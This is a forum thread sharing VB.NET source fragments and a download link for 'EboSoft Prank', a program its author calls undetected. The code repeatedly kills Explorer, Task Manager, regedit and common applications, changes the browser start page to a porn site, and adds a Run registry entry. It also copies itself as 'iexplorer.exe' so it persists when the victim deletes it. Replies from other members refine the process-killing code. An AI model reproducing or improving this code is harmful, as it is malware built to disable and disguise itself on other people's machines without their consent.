[VB.NET] Undetected "virus", EboSoft Prank

[Ebonesser]

VB.NET Source of EboSoft Prank

EboSoft Prank is a really annoying tool that you can use on someone you don't like or just to spread horror among people over the internet.
Some people would call it a virus because it makes most of the computer's processes to not work, but it's not a virus. It only terminates the processes of programs.
EboSoft Prank terminates these programs/processes over and over again:

*Explorer
*Internet Explorer
*Mozilla Firefox
*Windows Live Messenger
*Steam
*Spotify
*uTorrent
*Skype
*Microsoft Word
*Taskmanager
*Yahoo Messenger
*World of Warcraft
*Regedit


You can add processes that should be terminated by adding, for example:

Try
If Strings.UCase(local(i).ProcessName) = Strings.UCase("THE PROCESS OF THE PROGRAM") Then
local(i).Kill()
End If
Catch
GoTo O '<-------- A letter that has not already been taken.
Finally
End Try

O:

after, for example:

Try
If Strings.UCase(local(i).ProcessName) = Strings.UCase("regedt32") Then
local(i).Kill()
End If
Catch
GoTo r
Finally
End Try

r:

*EboSoft Prank will change the start page to "Pornhub.com" for your default browser and Internet Explorer.

You can change the desired webpage by changing:

Dim Act2 : Act2 = CreateObject("Wscript.Shell")
Dim Key2 : Key2 = "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main"
Act2.RegWrite(Key & "\Start Page", "THE WEBSITE YOU DESIRE", "REG_SZ")

Dim Act3 : Act3 = CreateObject("Wscript.Shell")
Dim Key3 : Key3 = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Act3.RegWrite(Key3 & "\Start Page", "THE WEBSITE YOU DESIRE", "REG_SZ")

*EboSoft Prank will automatically start everytime you turn on your computer and it also makes a copy of it in "C:\Preference32" with the name "iexplorer.exe" so that it can be run over and over again even if the victim deletes the first one.

You can change the place the program will copy itself to by changing it here:

Dim path As String = "C:\Preference32"
Try
Directory.CreateDirectory(path)
Catch
End Try

If you want to change the name of the file you would have to change it here:

If File.Exists(path & "/iexplorer.exe") Then
GoTo C
Else
Try
File.Copy(Application.StartupPath & "/NAME OF YOUR DESIRED NAME OF THE PROGRAM.exe", path & "/iexplorer.exe")
Catch
End Try
End If

*You can't use Taskmanager to close EboSoft Prank because the process always get terminated before you have the time to terminate EboSoft Prank.

There is a "cure" against this (Cure for EboSoft Prank.exe)
but you'll have to open it BEFORE you start EboSoft Prank because you won't be able to open it otherwise.
But when you're trying EboSoft in Visual Basic, you'll be able to stop the debugg without the cure

Here's the download link:
Filebeam - Beam up that File Scottie!

[Cypher]

Failure. That is all.

[ReidE96]

GoTo? GOTO?! RAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWR!

[Ebonesser]

Lol...
I'm not pro xD
It's the second vb-program I've done ^^,
"There are better ways to do this" and you explain how or a tip would be much better

[ReidE96]

Instead of

Try
    If Strings.UCase(local(i).ProcessName) = Strings.UCase("regedt32") Then
        local(i).Kill()
    End If
Catch
    GoTo r
Finally
End Try
 
r:

do

Try
    If Strings.UCase(local(i).ProcessName) = Strings.UCase("regedt32") Then local(i).Kill()
Catch ex As Exception
End Try

Other one.

If File.Exists(path & "/iexplorer.exe") Then
                 GoTo C
        Else
                Try
        File.Copy(Application.StartupPath & "/NAME OF YOUR DESIRED NAME OF THE PROGRAM.exe", path & "/iexplorer.exe")
    Catch
    End Try
End If

do

If Not File.Exists(path & "/iexplorer.exe") Then
    Try
        File.Copy(Application.StartupPath & "/NAME OF YOUR DESIRED NAME OF THE PROGRAM.exe", path & "/iexplorer.exe")
    Catch ex as Exception
    End Try
End If

[Ebonesser]

Oh, yea. I didn't think that I could make it "ex as Exception" instead of "GoTo", because in the beginning I only had the Try part but without Try and Catch so it sometime failed so I added the Try and Catch but didn't take away GoTo ^^, My bad

See, wasn't that better?

[ReidE96]

Definitely not better. It involved effort on my part! :P

[Iaccidentallytwink]

Cypher's been going hard with his Flamethrower lately.

[Apoc]

So... why not use a list/array of strings and just iterate the current process list matching those strings...?

Private Sub KillProcs()
    Dim procsToKill As String() = New String() {"regedit", "iexplore", "spotify", "etc"}
    For Each p As Process In Process.GetProcesses
        For Each procName As String In procsToKill
            If p.Name.ToLower().Contains(procName) Then
                p.Kill()
            End If
        Next
    Next
End Sub

[ReidE96]

Because, Apawk, that would be the cool way to do it.

[Ebonesser]

Thanks for the advice Apoc.
I'll use it in future projects